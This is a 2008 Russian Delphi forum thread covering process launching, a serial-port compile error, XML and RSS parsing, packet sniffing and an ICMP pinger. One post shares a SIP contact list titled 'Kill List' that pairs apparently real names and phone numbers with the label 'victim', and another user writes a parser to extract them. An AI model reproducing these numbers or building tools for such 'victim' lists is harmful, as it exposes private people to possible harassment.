У меня с WinExec, проблем не возникало ...
De-visible
29.04.2008, 23:16
Micro$oft не рекомендует пользоваться функцией winexec, она оставлена только для совместимости с 9x
ShellExecute - что-то похожее
Ни ту, ни другую функцию заставить работать нормально и правильно лично мне не удалось.
Посему использую CreateProcess.
Ха, а ты молодец!
* ShellExecute - запускает оболочку, ассоциированную с расширением файла, передаваемого ей в качестве параметра. Например, если передать файл с расширением doc, то запустится редактор MS Word (если он установлен в системе). В качестве параметра функции можно передать и файл с раширением exe.;
* CreateProcess - создает новый процесс и его первичный поток. Данная функция используется в Win32 для запуска других приложений.;
* WinExec , LoadModule - достались в наследство от Windows 3.x, Microsoft не рекомендует использовать ее в приложениях Win32 (они работают через вызов CreateProcess).
Функция CreateProcess
По сравнению с ShellExecute, функция дает дополнительные возможности по управлению процессом: можно установить начальный приоритет первого потока процесса, выставить положение и размер окна приложения, дождаться завершения процесса, завершить процесс.
CreateProcess
(lpApplicationName: PChar, // имя исполняемого модуля
lpCommandLine: PChar, // строка параметров запускаемой программы
lpProcessAttributes: TSecurityAttributes, // структура SECURITY_ATTRIBUTES процесса
lpThreadAttributes: TSecurityAttributes, // структура SECURITY_ATTRIBUTES потока
bInheritHandles: LongBool, // флаг наследования текущего процесса
dwCreationFlags: Longword, // флаги способов создания процесса
lpEnvironment: Pointer, // указатель на блок среды
lpCurrentDirectory: PChar, // текущий диск и каталог
lpStartupInfo:TStartupInfo, // структура STARTUPINFO
lpProcessInformation: TProcessInformation // структура PROCESS_INFORMATION
): LongBool;
Использование:
var
i:LongBool
i:=CreateProcess('Программа', ' файл', nil, nil, false, NORMAL_PRIORITY_CLASS, nil, nil, StartUpInfo, ProcessInfo);
CreateProcess('C:WindowsSystem32 otepad.exe', ' c: eadme.txt', nil, nil, false, NORMAL_PRIORITY_CLASS, nil, nil, StartUpInfo, ProcessInfo);
KIR@PRO
GSM™
Не компилируеться? Как ругается?
На вот эту строчку-
if not WriteFile(hPort, S, StrLen(S), actual_bytes, nil) then begin
а именно на это-
actual_bytes
На вот эту строчку-
if not WriteFile(hPort, S, StrLen(S), actual_bytes, nil) then begin
а именно на это-
actual_bytes
что имено пишет, дай плз весь листинг ошибки.
что имено пишет, дай плз весь листинг ошибки.
[Ошибка] TestRosh.pas(93): Types of actual and formal var parameters must be identical
[Ошибка] TestRosh.pas(97): Undeclared identifier: 'Edit3'
[Ошибка] TestRosh.pas(107): Undeclared identifier: 'PortCombo'
[Ошибка] TestRosh.pas(107): 'END' expected but ')' found
[Ошибка] TestRosh.pas(121): Undeclared identifier: 'PortCombo'
[Ошибка] TestRosh.pas(121): 'END' expected but ')' found
[Ошибка] TestRosh.pas(128): ';' expected but 'IF' found
[Ошибка] TestRosh.pas(132): '.' expected but ';' found
[Ошибка] TestRosh.pas(136): Undeclared identifier: 'Button2'
[Ошибка] TestRosh.pas(142): Undeclared identifier: 'PortCombo'
[Ошибка] TestRosh.pas(27): Unsatisfied forward or external declaration: 'TForm1.FormDestroy'
[Фатальная Ошибка] Project1.dpr(5): Could not compile used unit 'TestRosh.pas'
De-visible
30.04.2008, 00:24
Если кинуть все необходимые компоненты то остается вот:
[Ошибка] Unit1.pas(87): Types of actual and formal var parameters must be identical
[Ошибка] Unit1.pas(91): Types of actual and formal var parameters must be identical
Gsm, залей куданить проект весь и я верну после чего ошибки исправлю.
De-visible
30.04.2008, 00:30
http://slil.ru/25743679
Gsm, поменяй тип переменной actual_bytes на DWord и будет тебе счастие =)
ЗЫ Это из за версии компайлера. Код был написан очень давно.
to De-visible - не компилируется (выдает ту же самую ошибку)
to z01b - при замене на DWord ругается на DWord
И если можно скиньте какой нибудь пример работы с базой данных.
to De-visible - не компилируется (выдает ту же самую ошибку)
to z01b - при замене на DWord ругается на DWord
Rакой у тебя компайлер(компилятор)? Я скомпил на Делфи 7 и все окей.
Вот сылка на мой проект + ехе
http://webfile.ru/1913462
вместо dword'а надо в делфе писать longword
* ShellExecute - запускает оболочку, ассоциированную с расширением файла, передаваемого ей в качестве параметра. Например, если передать файл с расширением doc, то запустится редактор MS Word (если он установлен в системе). В качестве параметра функции можно передать и файл с раширением exe.;
Вот, кстати... Может хоть ты мне объяснишь, как файл с расширением .url запустить?
Nightmarе
30.04.2008, 21:40
Народ, оч нужен код немного видоизменённого парсера, теперь текстовый файл имеет вид:
<?xml version="1.0" encoding="UTF-8"?>
<resource-lists xmlns="urn:ietf:params:xml:ns:resource-lists">
<list name="new-group">
<display-name>Kill List</display-name>
<entry uri="sip:74933193454@sipnet.ru">
<display-name>Фомин</display-name>
</entry>
<entry uri="sip:74952595438@sipnet.ru">
<display-name>Лена</display-name>
</entry>
<entry uri="sip:78616722508@sipnet.ru">
<display-name>Глазастый</display-name>
</entry>
Ну и т.д.. В теге entry содержится номер жертвы и название.
Нужно отпарсить до вида:
Жертва: Фомин. Телефон: 74933193454
Жертва: Лена. Телефон: 74952595438
Жертва: Глазастый. Телефон: 78616722508
Попытался сам отмодифицировать имеющийся код, да где уж мне...
Народ, оч нужен код немного видоизменённого парсера, теперь текстовый файл имеет вид:
<?xml version="1.0" encoding="UTF-8"?>
<resource-lists xmlns="urn:ietf:params:xml:ns:resource-lists">
<list name="new-group">
<display-name>Kill List</display-name>
<entry uri="sip:74933193454@sipnet.ru">
<display-name>Фомин</display-name>
</entry>
<entry uri="sip:74952595438@sipnet.ru">
<display-name>Лена</display-name>
</entry>
<entry uri="sip:78616722508@sipnet.ru">
<display-name>Глазастый</display-name>
</entry>
Ну и т.д.. В теге entry содержится номер жертвы и название.
Нужно отпарсить до вида:
Жертва: Фомин. Телефон: 74933193454
Жертва: Лена. Телефон: 74952595438
Жертва: Глазастый. Телефон: 78616722508
Попытался сам отмодифицировать имеющийся код, да где уж мне...
Код ужасный, но работает. Убил часик на нем. Сначало показалось что легко но не так то было =)
program Project2;
{$APPTYPE CONSOLE}
uses
SysUtils;
var
f,outf:TextFile;
b,a,a1:string;
x1,x2,y1,y2,i:integer;
bl:boolean;
begin
Assign(outf,'C:\\out.txt');
Rewrite(outf);
Assign(f,'C:\\file.xml');
Reset(f);
while not EOF(F)
do begin
while not EOLN(f) do
begin
read(f,a);
end;
readln(f);
x1:=pos('<display-name>',a);
x2:=pos('</display-name>',a);
y1:=pos('<entry uri="sip:',a);
y2:=pos('@sipnet.ru">',a);
a1:=copy(a,x1+length('<display-name>'),x2-x1-length('<display-name>'));
b:=copy(a,y1+length('<entry uri="sip:'),length(a)-y2);
if y2<>0 then
begin
bl:=true;
write(outf,'Телефон: ');
write(outf,b+' ');
end;
if bl=true then
if x1<>0 then begin
write(outf,'Жертва: ');
writeln(outf,a1);
write(outf);
bl:=false
end;
end;
close(outf);
end.
Вот такой результат выдает при парсинге твоего файла
Телефон: 74933193454 Жертва: Фомин
Телефон: 74952595438 Жертва: Лена
Телефон: 78616722508 Жертва: Глазастый
ЗЫ Если что-то не то, значит у тебя в ряд больше 256 символов.
Nightmarе
01.05.2008, 00:26
ЗЫ Если что-то не то, значит у тебя в ряд больше 256 символов.
Большое спасибо, сталкнулся с 2 проблеммами это
Телефон: 74933193454 Жертва: Фомин
Телефон: 74952595438 Жертва: Лена
Телефон: 78616722508 Жертва: Глазастый
Кодировка, и + не всю инфу выводит, строк превышающих 100 символов у меня нету
Большое спасибо, сталкнулся с 2 проблеммами это
Телефон: 74933193454 Жертва: Фомин
Телефон: 74952595438 Жертва: Лена
Телефон: 78616722508 Жертва: Глазастый
Кодировка, и + не всю инфу выводит, строк превышающих 100 символов у меня нету
залей куданить файл (что парсить надо) и дай сылку.
В юзес добавь систем:
uses
SysUtils, System;
Перед этим:
x1:=pos('<display-name>',a);
Поставь:
a:=Utf8ToAnsi(a);
это решит проблему с кодировкой
-Hormold-
02.05.2008, 13:32
Function Rss(Url:String):String;
Function Exists(S:String):Boolean;
begin
if (S='description') or (s='title') or (s='link') then result:=true else result:=false;
end;
var
i,k:integer;
s:String;
IdHTTP:TIdHTTP;
XMLDocument:TXMLDocument;
Begin
IdHTTP:=TIdHTTP.Create(nil);
XMLDocument:=TXMLDocument.Create(Application);
try
XMLDocument.XML.Text:= IdHTTP.Get(Url);
XMLDocument.Active:=true;
i:=0;
while i<>9 do begin
if i>XMLDocument.DocumentElement.ChildNodes[0].ChildNodes.count then break;
for k:=0 to XMLDocument.DocumentElement.ChildNodes[0].ChildNodes[i].ChildNodes.Count-1 do begin
if (XMLDocument.DocumentElement.ChildNodes[0].ChildNodes[i].ChildNodes[k].LocalName='title') and (s<>'') then s:=s+#13#10+#13#10;
if Exists(XMLDocument.DocumentElement.ChildNodes[0].ChildNodes[i].ChildNodes[k].LocalName) then
s:=s+XMLDocument.DocumentElement.ChildNodes[0].ChildNodes[i].ChildNodes[k].text+#13#10;;
end;
inc(i);
end;
result:=s;
finally
XMLDocument.Free;
IdHTTP.Free;
end;
end;
Работает:
s:=Rss('http://www.1-y.ru/nic.rss');
Ннработает:
s:=Rss('http://www.webmoney.ru/rss.xml');
И почему 2 или 1 новость?
Можно сделать так чтобы были 5-10 новостей
Дай полный листинг ошибки или дай проект.
-Hormold-
02.05.2008, 13:42
в первом понятно, это из за ошибок в rss ленте.
И почему 2 или 1 новость?
Можно сделать так чтобы были 5-10 новостей
А вот это я не понял =(
Привет всем....
подскажитепожалста как мона прослушать определённый порт на компе.... к примеру у меня на компе прога соеденина с др компом по tcp при помощи чего (не откажусь от кода) можно прослушать обмен между моим компом и др по этому порту... к примеру возьмем порт 80... заранее благодарю....
Привет всем....
подскажитепожалста как мона прослушать определённый порт на компе.... к примеру у меня на компе прога соеденина с др компом по tcp при помощи чего (не откажусь от кода) можно прослушать обмен между моим компом и др по этому порту... к примеру возьмем порт 80... заранее благодарю....
Компонент idTcpServer - закладка Indy Servers.
Компонент idTcpServer - закладка Indy Servers.
а поконкретней можно куском кода.....
нифига не робит!
а поконкретней можно куском кода.....
нифига не робит!
Поставь конкретную задачу, что тебе нужно.
мне надо смотреть весь трафик на определённом(конкретном) порту при том что у меня на компе этот порт уже открыт.... то есть уже есть соединение от моего компьютера к другому по этому порту и данные с этого порта надо прослушать моей программой.... вроде объяснил понятно....
Просто используй любой снифер.
мне надо смотреть весь трафик на определённом(конкретном) порту при том что у меня на компе этот порт уже открыт.... то есть уже есть соединение от моего компьютера к другому по этому порту и данные с этого порта надо прослушать моей программой.... вроде объяснил понятно....
Вот либы с нужными тебе функций для создания снифера
http://3d2f.com/programs/39-907-packet-sniffer-sdk-for-windows-download.shtml
У меня такой вопрос: как в делфи вызвать командную строку(а именно мне нада узнать проходит ли пинг на конкретный айпи); и если проходит то как запрограммировать что бы программа подсчитывала количество пройденных пингов и если прошло нужное количество то загорался бы зелёный кружочек (желательно в трее) если не прошли пинги то красный... В принципе мне нужна такая программа для того что бы знать работает ли у меня и-нет, так как сижу на халяву, но халява не бесконечная... и-нет то обрывается то работает.... и что бы не запускать браузер или командную строку и проверять есть ли соединение мне просто нада написать такую прогу :-)
ping -t <IP-address> :)
Или изучать сетевой кодинг и протокол ICMP - отсылать ECHO REQUEST, если пришел ECHO REPLY, то рисовать зеленый кружок, если нет, то... Ну или взять готовый код - пингеров на делфи куча
De-visible
04.05.2008, 12:16
У меня такой вопрос: как в делфи вызвать командную строку(а именно мне нада узнать проходит ли пинг на конкретный айпи); и если проходит то как запрограммировать что бы программа подсчитывала количество пройденных пингов и если прошло нужное количество то загорался бы зелёный кружочек (желательно в трее) если не прошли пинги то красный... В принципе мне нужна такая программа для того что бы знать работает ли у меня и-нет, так как сижу на халяву, но халява не бесконечная... и-нет то обрывается то работает.... и что бы не запускать браузер или командную строку и проверять есть ли соединение мне просто нада написать такую прогу :-)
А почему бы тебе просто не автоматизировать этот процесс? SHELLEXECUTE?!
http://www.citforum.ru/nets/articles/ping/
А почему бы тебе просто не автоматизировать этот процесс? SHELLEXECUTE?!
мде... если он будет юзать ShellExecute, как он отпарсит результат? Только если перенаправить вывод в файл и потом парсить файл или через пайпы, но это тяжело. Легче будет скачать сырцы пингера (их в инете полно) и встроить ф-цию у себя в программе.
ЗЫ Вот пример пингера
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,winsock, StdCtrls;
type
IPINFO = record
Ttl :char;
Tos :char;
IPFlags :char;
OptSize :char;
Options :^char;
end;
type
ICMPECHO = record
Source :longint;
Status :longint;
RTTime :longint;
DataSize:Shortint;
Reserved:Shortint;
pData :^variant;
i_ipinfo:IPINFO;
end;
TIcmpCreateFile = function():integer; {$IFDEF WIN32} stdcall; {$ENDIF}
TIcmpCloseHandle = procedure(var handle:integer);{$IFDEF WIN32} stdcall; {$ENDIF}
TIcmpSendEcho = function(var handle:integer; endereco:DWORD; buffer:variant; tam:WORD; IP:IPINFO; ICMP:ICMPECHO; tamicmp:DWORD; tempo:DWORD):DWORD;{$IFDEF WIN32} stdcall; {$ENDIF}
type
TForm1 = class(TForm)
Edit1: TEdit;
Memo1: TMemo;
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var
wsadt : wsadata;
icmp :icmpecho;
HNDicmp : integer;
hndFile :integer;
Host :PHostEnt;
Destino :in_addr;
Endereco :^DWORD;
IP : ipinfo;
Retorno :integer;
dwRetorno :DWORD;
x :integer;
IcmpCreateFile : TIcmpCreateFile;
IcmpCloseHandle : TIcmpCloseHandle;
IcmpSendEcho : TIcmpSendEcho;
begin
if (edit1.Text = '') then begin
Application.MessageBox('Enter a HostName ro a IP Adress',
'Error', MB_OK);
exit;
end;
HNDicmp := LoadLibrary('ICMP.DLL');
if (HNDicmp <> 0) then begin
@IcmpCreateFile := GetProcAddress(HNDicmp,'IcmpCreateFile');
@IcmpCloseHandle := GetProcAddress(HNDicmp,'IcmpCloseHandle');
@IcmpSendEcho := GetProcAddress(HNDicmp,'IcmpSendEcho');
if (@IcmpCreateFile=nil) or (@IcmpCloseHandle=nil) or (@IcmpSendEcho=nil) then begin
Application.MessageBox('Error getting ICMP Adress','Error', MB_OK);
FreeLibrary(HNDicmp);
end;
end;
Retorno := WSAStartup($0101,wsadt);
if (Retorno <> 0) then begin
Application.MessageBox('Can´t Load WinSockets','WSAStartup', MB_OK);
WSACleanup();
FreeLibrary(HNDicmp);
end;
Destino.S_addr := inet_addr(Pchar(Edit1.text));
if (Destino.S_addr = 0) then begin
Host := GetHostbyName(PChar(Edit1.text));
end
else begin
Host := GetHostbyAddr(@Destino,sizeof(in_addr), AF_INET);
end;
if (host = nil) then begin
Application.MessageBox('Host not found','Error', MB_OK);
WSACleanup();
FreeLibrary(HNDicmp);
exit;
end;
memo1.Lines.Add('Pinging ' + Edit1.text);
Endereco := @Host.h_addr_list;
HNDFile := IcmpCreateFile();
for x:= 0 to 4 do begin
Ip.Ttl := char(255);
Ip.Tos := char(0);
Ip.IPFlags := char(0);
Ip.OptSize := char(0);
Ip.Options := nil;
dwRetorno := IcmpSendEcho(
HNDFile,
Endereco^,
null,
0,
Ip,
Icmp,
sizeof(Icmp),
DWORD(5000));
Destino.S_addr := icmp.source;
Memo1.Lines.Add('Ping ' + Edit1.text);
end;
IcmpCLoseHandle(HNDFile);
FreeLibrary(HNDicmp);
WSACleanup();
end;
end.
begin_end
04.05.2008, 15:50
Ежели нужно получить результат работы именно консольного приложения, то может помочь следующая функция:
procedure ExecConsoleApp(CommandLine: AnsiString; Output: TStringList; Errors:
TStringList);
var
sa: TSECURITYATTRIBUTES;
si: TSTARTUPINFO;
pi: TPROCESSINFORMATION;
hPipeOutputRead: THANDLE;
hPipeOutputWrite: THANDLE;
hPipeErrorsRead: THANDLE;
hPipeErrorsWrite: THANDLE;
Res, bTest: Boolean;
env: array[0..100] of Char;
szBuffer: array[0..256] of Char;
dwNumberOfBytesRead: DWORD;
Stream: TMemoryStream;
begin
sa.nLength := sizeof(sa);
sa.bInheritHandle := true;
sa.lpSecurityDescriptor := nil;
CreatePipe(hPipeOutputRead, hPipeOutputWrite, @sa, 0);
CreatePipe(hPipeErrorsRead, hPipeErrorsWrite, @sa, 0);
ZeroMemory(@env, SizeOf(env));
ZeroMemory(@si, SizeOf(si));
ZeroMemory(@pi, SizeOf(pi));
si.cb := SizeOf(si);
si.dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
si.wShowWindow := SW_HIDE;
si.hStdInput := 0;
si.hStdOutput := hPipeOutputWrite;
si.hStdError := hPipeErrorsWrite;
(* Remember that if you want to execute an app with no parameters you nil the
second parameter and use the first, you can also leave it as is with no
problems. *)
Res := CreateProcess(nil, pchar(CommandLine), nil, nil, true,
CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS, @env, nil, si, pi);
// Procedure will exit if CreateProcess fail
if not Res then
begin
CloseHandle(hPipeOutputRead);
CloseHandle(hPipeOutputWrite);
CloseHandle(hPipeErrorsRead);
CloseHandle(hPipeErrorsWrite);
Exit;
end;
CloseHandle(hPipeOutputWrite);
CloseHandle(hPipeErrorsWrite);
//Read output pipe
Stream := TMemoryStream.Create;
try
while true do
begin
bTest := ReadFile(hPipeOutputRead, szBuffer, 256, dwNumberOfBytesRead,
nil);
if not bTest then
begin
break;
end;
Stream.Write(szBuffer, dwNumberOfBytesRead);
end;
Stream.Position := 0;
Output.LoadFromStream(Stream);
finally
Stream.Free;
end;
//Read error pipe
Stream := TMemoryStream.Create;
try
while true do
begin
bTest := ReadFile(hPipeErrorsRead, szBuffer, 256, dwNumberOfBytesRead,
nil);
if not bTest then
begin
break;
end;
Stream.Write(szBuffer, dwNumberOfBytesRead);
end;
Stream.Position := 0;
Errors.LoadFromStream(Stream);
finally
Stream.Free;
end;
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(hPipeOutputRead);
CloseHandle(hPipeErrorsRead);
end;Пример использования. (http://himiya.at.tut.by/consoleping.rar)
Ежели нужно получить результат работы именно консольного приложения, то может помочь следующая функция:
procedure ExecConsoleApp(CommandLine: AnsiString; Output: TStringList; Errors:
TStringList);
var
sa: TSECURITYATTRIBUTES;
si: TSTARTUPINFO;
pi: TPROCESSINFORMATION;
hPipeOutputRead: THANDLE;
hPipeOutputWrite: THANDLE;
hPipeErrorsRead: THANDLE;
hPipeErrorsWrite: THANDLE;
Res, bTest: Boolean;
env: array[0..100] of Char;
szBuffer: array[0..256] of Char;
dwNumberOfBytesRead: DWORD;
Stream: TMemoryStream;
begin
sa.nLength := sizeof(sa);
sa.bInheritHandle := true;
sa.lpSecurityDescriptor := nil;
CreatePipe(hPipeOutputRead, hPipeOutputWrite, @sa, 0);
CreatePipe(hPipeErrorsRead, hPipeErrorsWrite, @sa, 0);
ZeroMemory(@env, SizeOf(env));
ZeroMemory(@si, SizeOf(si));
ZeroMemory(@pi, SizeOf(pi));
si.cb := SizeOf(si);
si.dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
si.wShowWindow := SW_HIDE;
si.hStdInput := 0;
si.hStdOutput := hPipeOutputWrite;
si.hStdError := hPipeErrorsWrite;
(* Remember that if you want to execute an app with no parameters you nil the
second parameter and use the first, you can also leave it as is with no
problems. *)
Res := CreateProcess(nil, pchar(CommandLine), nil, nil, true,
CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS, @env, nil, si, pi);
// Procedure will exit if CreateProcess fail
if not Res then
begin
CloseHandle(hPipeOutputRead);
CloseHandle(hPipeOutputWrite);
CloseHandle(hPipeErrorsRead);
CloseHandle(hPipeErrorsWrite);
Exit;
end;
CloseHandle(hPipeOutputWrite);
CloseHandle(hPipeErrorsWrite);
//Read output pipe
Stream := TMemoryStream.Create;
try
while true do
begin
bTest := ReadFile(hPipeOutputRead, szBuffer, 256, dwNumberOfBytesRead,
nil);
if not bTest then
begin
break;
end;
Stream.Write(szBuffer, dwNumberOfBytesRead);
end;
Stream.Position := 0;
Output.LoadFromStream(Stream);
finally
Stream.Free;
end;
//Read error pipe
Stream := TMemoryStream.Create;
try
while true do
begin
bTest := ReadFile(hPipeErrorsRead, szBuffer, 256, dwNumberOfBytesRead,
nil);
if not bTest then
begin
break;
end;
Stream.Write(szBuffer, dwNumberOfBytesRead);
end;
Stream.Position := 0;
Errors.LoadFromStream(Stream);
finally
Stream.Free;
end;
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(hPipeOutputRead);
CloseHandle(hPipeErrorsRead);
end;Пример использования. (http://himiya.at.tut.by/consoleping.rar)
Я бы сделал этот участок по-другому:
if not Res then
begin
CloseHandle(hPipeOutputRead);
CloseHandle(hPipeOutputWrite);
CloseHandle(hPipeErrorsRead);
CloseHandle(hPipeErrorsWrite);
Exit;
end;
CloseHandle(hPipeOutputWrite);
CloseHandle(hPipeErrorsWrite);
procedure ExecConsoleApp(CommandLine: AnsiString; Output: TStringList; Errors:
TStringList);
var
sa: TSECURITYATTRIBUTES;
si: TSTARTUPINFO;
pi: TPROCESSINFORMATION;
hPipeOutputRead: THANDLE;
hPipeOutputWrite: THANDLE;
hPipeErrorsRead: THANDLE;
hPipeErrorsWrite: THANDLE;
Res, bTest: Boolean;
env: array[0..100] of Char;
szBuffer: array[0..256] of Char;
dwNumberOfBytesRead: DWORD;
Stream: TMemoryStream;
begin
try
sa.nLength := sizeof(sa);
sa.bInheritHandle := true;
sa.lpSecurityDescriptor := nil;
CreatePipe(hPipeOutputRead, hPipeOutputWrite, @sa, 0);
CreatePipe(hPipeErrorsRead, hPipeErrorsWrite, @sa, 0);
ZeroMemory(@env, SizeOf(env));
ZeroMemory(@si, SizeOf(si));
ZeroMemory(@pi, SizeOf(pi));
si.cb := SizeOf(si);
si.dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
si.wShowWindow := SW_HIDE;
si.hStdInput := 0;
si.hStdOutput := hPipeOutputWrite;
si.hStdError := hPipeErrorsWrite;
(* Remember that if you want to execute an app with no parameters you nil the
second parameter and use the first, you can also leave it as is with no
problems. *)
Res := CreateProcess(nil, pchar(CommandLine), nil, nil, true,
CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS, @env, nil, si, pi);
// Procedure will exit if CreateProcess fail
if not Res then
raise;
//Read output pipe
Stream := TMemoryStream.Create;
try
while true do
begin
bTest := ReadFile(hPipeOutputRead, szBuffer, 256, dwNumberOfBytesRead,
nil);
if not bTest then
begin
break;
end;
Stream.Write(szBuffer, dwNumberOfBytesRead);
end;
Stream.Position := 0;
Output.LoadFromStream(Stream);
finally
Stream.Free;
end;
//Read error pipe
Stream := TMemoryStream.Create;
try
while true do
begin
bTest := ReadFile(hPipeErrorsRead, szBuffer, 256, dwNumberOfBytesRead,
nil);
if not bTest then
begin
break;
end;
Stream.Write(szBuffer, dwNumberOfBytesRead);
end;
Stream.Position := 0;
Errors.LoadFromStream(Stream);
finally
Stream.Free;
end;
WaitForSingleObject(pi.hProcess, INFINITE);
finally
CloseHandle(pi.hProcess);
CloseHandle(hPipeOutputRead);
CloseHandle(hPipeErrorsRead);
CloseHandle(hPipeOutputWrite);
CloseHandle(hPipeErrorsWrite);
end;
end;
Hellsp@wn
04.05.2008, 22:15
если делать такую функцию, то лучше без stream'ов, а чисто на winapi :)
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot